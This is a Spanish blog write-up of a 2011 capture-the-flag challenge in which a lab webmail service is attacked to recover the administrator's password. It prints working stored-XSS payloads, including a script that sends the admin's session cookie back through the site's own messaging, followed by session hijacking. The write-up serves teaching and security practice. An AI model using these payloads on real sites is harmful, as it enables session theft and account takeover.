sábado, 30 de abril de 2011

WriteUp - Desafío 15 - H4ckc0nt3st GSIC 2011

En este desafío nos presentan un servicio de correo web sencillo y nos piden que obtengamos la contraseña del administrador.


Nos registramos en el servicio y curioseamos un poco para ver a qué nos enfrentamos… Tenemos un sencillo formulario para enviar mensajes a otros usuarios de la plataforma, una opción para revisar nuestros datos en la que podemos observar nuestra contraseña sin cifrar e incluso un amable mensaje de nuestro administrador indicándonos que si tenemos cualquier problema le escribamos a su cuenta ‘administrador’.


Parece que nos está pidiendo a gritos un XSS (si es que se le puede llamar así en este caso, ya que inyectamos código pero apuntando al mismo site), así que es lo primero que probamos, y de paso vemos el formato que necesitamos para enviar mensajes, que es autoexplicativo:


https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=prueba&cuerpo=<script>alert('xss')</script>

Hemos tenido suerte, porque al abrir el mensaje se nos abre el MessageBox esperado :-). Ahora tenemos que preparar el definitivo.


Antes de enviar el mensaje definitivo, nos creamos una segunda cuenta e hicimos pruebas entre ellas, para que no cantaran demasiado todas nuestras pruebas erróneas en el buzón del administrador, pero aquí pondremos los finales.


En primer lugar preparamos la url que queremos que visite nuestro administrador. Queremos robarle la cookie de sesión para poder ir al panel y obtener su contraseña, y nos valemos de la propia plataforma para que nos la envíe. Es decir, queremos que nos envíe un mensaje con su cookie, por lo que siguiendo el formato que hemos visto, debería visitar una url similar a la siguiente:


https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=tuclave&cuerpo=AQUI_LA_COOKIE

Para poder añadir el valor de la cookie a esa url debemos obtenerlo mediante javascript, y además no estamos seguros de que el administrador vaya a pinchar en nuestros enlaces, así que preferimos redirigirle automáticamente, con lo que el cuerpo de nuestro mensaje debe ser algo como esto:


<script>document.location="https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=ram&asunto=tuclave&cuerpo="+document.cookie</script>

Ahora sólo tenemos que enviarle el script, para lo que utilizamos la siguiente url, que envía nuestro mensaje con el payload deseado. Notar que en dicho payload ha habido que codificar los caracteres especiales en una url (?, =, &) para que no fueran interpretados en el primer envío por enviar.hc:


https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc?para=administrador&asunto=prueba&cuerpo=<script>document.location="https://10.20.63.1:6666/desafios/MensajeriaWEB/enviar.hc%3fpara%3dram%26asunto%3dtuclave%26cuerpo%3d"+document.cookie</script>

Ya hemos enviado el mensaje, ahora sólo nos queda esperar que el administrador lea sus mensajes y no tenga filtros especiales que impidan que funcione nuestro ataque. Esto es lo que más cuesta del desafío, porque el administrador se estaba echando una merecida siesta después del trabajo bien hecho ;-).


Cuando por fin accede, recibimos el correo que esperábamos con la cookie del administrador, la sustituimos por la nuestra en el navegador y accedemos al panel. Vamos a la opción de revisar la contraseña y conseguimos nuestro objetivo:



Introducimos ‘m41l_XSS’ en el formulario de la prueba y superamos el desafío.

2 comentarios:

  1. Hola, mi mas sincera enhorabuena, ya te he googleado y ya vi que eres un crack jajja. Bueno est es lo típico que ahora lo veo y digo: Ahhhh coño,claro laconada-bacon. Muy buenos y claros los Write Ups Tenía mucha curisosidad por saber la solucion de algun reto.
    Bueno un saludo

    ResponderEliminar